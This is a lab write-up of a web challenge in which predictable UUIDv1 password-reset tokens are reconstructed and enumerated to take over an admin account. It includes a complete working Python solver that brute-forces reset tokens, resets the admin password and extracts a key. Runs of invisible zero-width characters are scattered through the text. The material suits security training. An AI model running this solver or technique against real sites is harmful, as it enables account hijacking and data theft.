← Back to Writeups
CUSTOMMediumWeb

Lab 119 — PulseBoard — Predictable UUID v1 Password Reset Tokens

XESXOR9/2/20266 min read
#web#custom#medium#uuid_v1_reconstruction#reset_token_sandwich#timestamp_interpolation#token_enumeration#account_takeover

Lab 119 — PulseBoard — Predictable UUID v1 Password Reset Tokens

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: uuid_v1_reconstruction, reset_token_sandwich, timestamp_interpolation, token_enumeration, account_takeover

Summary

Walkthrough of the CUSTOM Web Lab 119 — PulseBoard — Predictable UUID v1 Password Reset Tokens. Task: PulseBoard uses predictable UUIDv1 password-reset tokens and exposes only Alex's reset mail. Solution: sandwich an admin reset between two Alex resets, reconstruct the UUID fields, enumerate the

Description

Lab 119 — PulseBoard — Predictable UUID v1 Password Reset Tokens

PulseBoard provided the account alex.rivera@pulseboard.io / password123. The objective was to compromise admin@pulseboard.io, open the privileged /admin page, and recover its Master API Key.

Analysis

Alex's reset links contained UUID version 1 values rather than random UUIDv4 tokens. A UUIDv1 exposes a 60-bit timestamp in 100 ns ticks, together with a clock sequence and node identifier. Python's uuid module reconstructs the timestamp as: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

python
timestamp = (u.time_low
             | (u.time_mid << 32)
             | ((u.time_hi_version & 0x0fff) << 48))

Reset tokens produced by one application instance retained the same node and clock-sequence fields. Therefore, a candidate token could be built by changing only the timestamp while preserving:

  • UUID version 1 in the high timestamp field;
  • the RFC 4122 variant bits;
  • clock_seq_hi_variant and clock_seq_low;
  • the 48-bit node.

For a model UUID u and candidate timestamp t, the correct construction is: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

python
uuid.UUID(fields=(
    t & 0xffffffff,
    (t >> 32) & 0xffff,
    ((t >> 48) & 0x0fff) | 0x1000,
    u.clock_seq_hi_variant,
    u.clock_seq_low,
    u.node,
))

The intended reset-token sandwich was:

  1. request an Alex reset;
  2. request an admin reset;
  3. immediately request another Alex reset;
  4. read the two Alex UUIDv1 links from /mail;
  5. enumerate timestamps bounded by those observable tokens while retaining the node and clock sequence.

The mailbox was not global: it exposed Alex's mail only. This was sufficient because the hidden admin UUID was generated between two observable UUIDs. On the successful instance, an earlier pair of reference bounds was: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

text
55619153-8571-11f1-8e85-7e6c7a1d005a
559dd6c8-8571-11f1-8e85-7e6c7a1d005a

Both had node 7e6c7a1d005a and clock sequence 0x0e85. A later fresh sandwich, combined with interpolation between client request timings and the two server-generated UUID timestamps, predicted a token near:

text
e06f46dc-8573-11f1-8e85-7e6c7a1d005a

Scanning a ±20,000-tick window found the exact admin token:

text
e06f8d8b-8573-11f1-8e85-7e6c7a1d005a

The reset route was also an oracle: GET /reset-password/<valid-token> returned HTTP 200 and a page containing Set a new password, whereas an invalid token returned 404. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Useful pitfalls

  • A new reset request invalidates older tokens for the same account, although old messages remain visible. Use the newest Alex messages and do not request another admin reset after scanning begins.
  • Reset tokens expire after 15 minutes, so perform the sandwich and scan immediately.
  • High-rate HEAD requests can receive transient edge-generated 200 responses. Confirm every candidate with a full GET whose body contains Set a new password.
  • The public HTML contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} as a hidden decoy. It was not privileged data and was not the challenge flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The observations eliminated three alternatives: the token was not UUIDv4 or cryptographically random, there was no global mailbox leak, and the public HTML flag was not authentic.

Solution

Use the ephemeral instance URL as TARGET. The solver below logs in as Alex, creates the Alex/admin/Alex sandwich, predicts the hidden timestamp from request midpoints, reconstructs UUIDv1 candidates, and scans outward around that prediction. Raw HTTP/1.1 HEAD batches make the bounded scan fast, but every apparent hit is confirmed with a marker-bearing GET before it is used. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

python
#!/usr/bin/env python3
import argparse
import concurrent.futures
import re
import socket
import ssl
import threading
import time
import uuid
from urllib.parse import urlparse

import requests


def timed_post(session, url, data):
    start = time.time_ns()
    response = session.post(url, data=data, allow_redirects=False, timeout=10)
    end = time.time_ns()
    response.raise_for_status() if response.status_code >= 400 else None
    return (start + end) // 2


def with_time(model, timestamp):
    return uuid.UUID(fields=(
        timestamp & 0xffffffff,
        (timestamp >> 32) & 0xffff,
        ((timestamp >> 48) & 0x0fff) | 0x1000,
        model.clock_seq_hi_variant,
        model.clock_seq_low,
        model.node,
    ))
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍


def center_out(center, radius):
    yield center
    for distance in range(1, radius + 1):
        yield center + distance
        yield center - distance


def pipeline_head(host, candidates):
    requests_raw = []
    for index, candidate in enumerate(candidates):
        connection = "close" if index == len(candidates) - 1 else "keep-alive"
        requests_raw.append(
            f"HEAD /reset-password/{candidate} HTTP/1.1\r\n"
            f"Host: {host}\r\nConnection: {connection}\r\n\r\n".encode()
        )
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    context = ssl.create_default_context()
    with socket.create_connection((host, 443), timeout=10) as raw:
        with context.wrap_socket(raw, server_hostname=host) as sock:
            sock.settimeout(30)
            sock.sendall(b"".join(requests_raw))
            response = bytearray()
            while True:
                block = sock.recv(65536)
                if not block:
                    break
                response.extend(block)

    statuses = [int(x) for x in re.findall(rb"HTTP/1\.1 (\d{3})", response)]
    if len(statuses) != len(candidates):
        raise RuntimeError("pipelined response count mismatch")
    return statuses
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍


def scan(base, host, model, predicted_time, radius, workers, batch_size):
    ordered_times = list(center_out(predicted_time, radius))
    batches = [ordered_times[i:i + batch_size]
               for i in range(0, len(ordered_times), batch_size)]
    stop = threading.Event()

    def check_batch(timestamps):
        if stop.is_set():
            return None
        candidates = [with_time(model, timestamp) for timestamp in timestamps]
        for candidate, status in zip(candidates, pipeline_head(host, candidates)):
            if status != 200 or stop.is_set():
                continue
            response = requests.get(f"{base}/reset-password/{candidate}", timeout=10)
            if response.status_code == 200 and "Set a new password" in response.text:
                stop.set()
                return candidate
        return None
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as pool:
        futures = [pool.submit(check_batch, batch) for batch in batches]
        for future in concurrent.futures.as_completed(futures):
            candidate = future.result()
            if candidate:
                for pending in futures:
                    pending.cancel()
                return candidate
    raise RuntimeError("admin token not found; repeat with a fresh sandwich or larger radius")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("target", help="for example: https://INSTANCE.labs.hackadvisor.io")
    parser.add_argument("--radius", type=int, default=20000)
    parser.add_argument("--workers", type=int, default=4)
    parser.add_argument("--batch", type=int, default=500)
    parser.add_argument("--new-password", default="PulseBoard-Reset-2026!")
    args = parser.parse_args()
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    base = args.target.rstrip("/")
    host = urlparse(base).hostname
    alex = "alex.rivera@pulseboard.io"
    admin = "admin@pulseboard.io"
    session = requests.Session()

    login = session.post(f"{base}/login", data={
        "email": alex, "password": "password123"
    }, allow_redirects=False, timeout=10)
    assert login.status_code == 302

    request_midpoints = []
    for email in (alex, admin, alex):
        request_midpoints.append(timed_post(
            session, f"{base}/forgot-password", {"email": email}
        ))
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    mailbox = session.get(f"{base}/mail", timeout=10).text
    token_strings = set(re.findall(
        r"/reset-password/([0-9a-fA-F-]{36})", mailbox
    ))
    own = sorted((uuid.UUID(value) for value in token_strings),
                 key=lambda value: value.time)[-2:]
    low, high = own
    assert low.version == high.version == 1
    assert low.node == high.node and low.clock_seq == high.clock_seq

    t0, target_midpoint, t1 = request_midpoints
    fraction = (target_midpoint - t0) / (t1 - t0)
    predicted_time = round(low.time + fraction * (high.time - low.time))
    predicted = with_time(low, predicted_time)
    print(f"bounds: {low} .. {high}")
    print(f"prediction: {predicted}")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    token = scan(base, host, low, predicted_time,
                 args.radius, args.workers, args.batch)
    print(f"admin token: {token}")

    reset = requests.post(f"{base}/reset-password/{token}", data={
        "password": args.new_password,
        "confirm_password": args.new_password,
    }, allow_redirects=False, timeout=10)
    assert reset.status_code == 302

    admin_session = requests.Session()
    login = admin_session.post(f"{base}/login", data={
        "email": admin, "password": args.new_password
    }, allow_redirects=False, timeout=10)
    assert login.status_code == 302
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    page = admin_session.get(f"{base}/admin", timeout=10)
    page.raise_for_status()
    flag = re.search(r"FLAG\{[^}]+\}", page.text)
    if not flag:
        raise RuntimeError("Master API Key not found")
    print(flag.group(0))


if __name__ == "__main__":
    main()

Run it against a fresh instance:

bash
python3 solve.py 'https://INSTANCE.labs.hackadvisor.io'

The successful reset POST returned 302 to /login; logging in as admin returned 302 to /; and authenticated GET /admin returned 200. The privileged page labeled the real value as Master API Key. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering uuid_v1_reconstruction, reset_token_sandwich, timestamp_interpolation, token_enumeration, account_takeover was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-07-22 • CUSTOM • Lab 119 — PulseBoard — Predictable UUID v1 Password Reset Tokens • Difficulty: Medium